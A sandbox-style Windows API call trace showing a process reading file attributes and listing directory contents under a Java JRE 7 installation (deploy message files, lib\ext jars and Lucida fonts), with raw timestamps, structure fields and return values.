	[0055.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_ko.properties"), fInfoLevelId=0x0, lpFileInformation=0x12431f98 | out: lpFileInformation=0x12431f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1657)) returned 1
	[0055.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_pt_br.properties"), fInfoLevelId=0x0, lpFileInformation=0x12444008 | out: lpFileInformation=0x12444008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd14)) returned 1
	[0055.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_sv.properties"), fInfoLevelId=0x0, lpFileInformation=0x12444058 | out: lpFileInformation=0x12444058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51)) returned 1
	[0055.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_cn.properties"), fInfoLevelId=0x0, lpFileInformation=0x124440a8 | out: lpFileInformation=0x124440a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xfe8)) returned 1
	[0055.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_hk.properties"), fInfoLevelId=0x0, lpFileInformation=0x124440f8 | out: lpFileInformation=0x124440f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8)) returned 1
	[0055.063] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_tw.properties"), fInfoLevelId=0x0, lpFileInformation=0x12444148 | out: lpFileInformation=0x12444148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8)) returned 1
	[0055.063] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\splash.gif"), fInfoLevelId=0x0, lpFileInformation=0x12444198 | out: lpFileInformation=0x12444198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687)) returned 1
	[0055.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), fInfoLevelId=0x0, lpFileInformation=0x124441e8 | out: lpFileInformation=0x124441e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75246c40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x75246c40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75305320, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x449777)) returned 1
	[0055.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext"), fInfoLevelId=0x0, lpFileInformation=0x12444238 | out: lpFileInformation=0x12444238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x148f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-32.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753c3a00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753c3a00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753e9b60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf790d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3e45, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3057d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1
	[0055.066] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1
	[0055.067] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.068] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar"), fInfoLevelId=0x0, lpFileInformation=0x124445f8 | out: lpFileInformation=0x124445f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x148f8)) returned 1
	[0055.069] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar"), fInfoLevelId=0x0, lpFileInformation=0x12444648 | out: lpFileInformation=0x12444648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22e6)) returned 1
	[0055.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar"), fInfoLevelId=0x0, lpFileInformation=0x12444698 | out: lpFileInformation=0x12444698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa4a)) returned 1
	[0055.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar"), fInfoLevelId=0x0, lpFileInformation=0x124446e8 | out: lpFileInformation=0x124446e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753c3a00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753c3a00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753e9b60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf790d)) returned 1
	[0055.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0x12444738 | out: lpFileInformation=0x12444738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x33d)) returned 1
	[0055.071] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar"), fInfoLevelId=0x0, lpFileInformation=0x12444788 | out: lpFileInformation=0x12444788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3e45)) returned 1
	[0055.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar"), fInfoLevelId=0x0, lpFileInformation=0x124447d8 | out: lpFileInformation=0x124447d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3057d)) returned 1
	[0055.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar"), fInfoLevelId=0x0, lpFileInformation=0x12444828 | out: lpFileInformation=0x12444828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77e7)) returned 1
	[0055.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar"), fInfoLevelId=0x0, lpFileInformation=0x12444878 | out: lpFileInformation=0x12444878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39fd6)) returned 1
	[0055.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar"), fInfoLevelId=0x0, lpFileInformation=0x124448c8 | out: lpFileInformation=0x124448c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a)) returned 1
	[0055.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\flavormap.properties"), fInfoLevelId=0x0, lpFileInformation=0x12444918 | out: lpFileInformation=0x12444918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf58)) returned 1
	[0055.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.bfc"), fInfoLevelId=0x0, lpFileInformation=0x12444968 | out: lpFileInformation=0x12444968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe56)) returned 1
	[0055.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.properties.src"), fInfoLevelId=0x0, lpFileInformation=0x124449b8 | out: lpFileInformation=0x124449b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28ef)) returned 1
	[0055.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x12444a08 | out: lpFileInformation=0x12444a08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.076] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.077] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemibold.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444cd8 | out: lpFileInformation=0x12444cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12588)) returned 1
	[0055.079] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemiitalic.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444d28 | out: lpFileInformation=0x12444d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12574)) returned 1
	[0055.080] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightitalic.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444d78 | out: lpFileInformation=0x12444d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8)) returned 1
	[0055.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444dc8 | out: lpFileInformation=0x12444dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5434c)) returned 1
	[0055.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidasansdemibold.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444e18 | out: lpFileInformation=0x12444e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8)) returned 1
	[0055.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidasansregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12444e68 | out: lpFileInformation=0x12444e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c)) returned 1
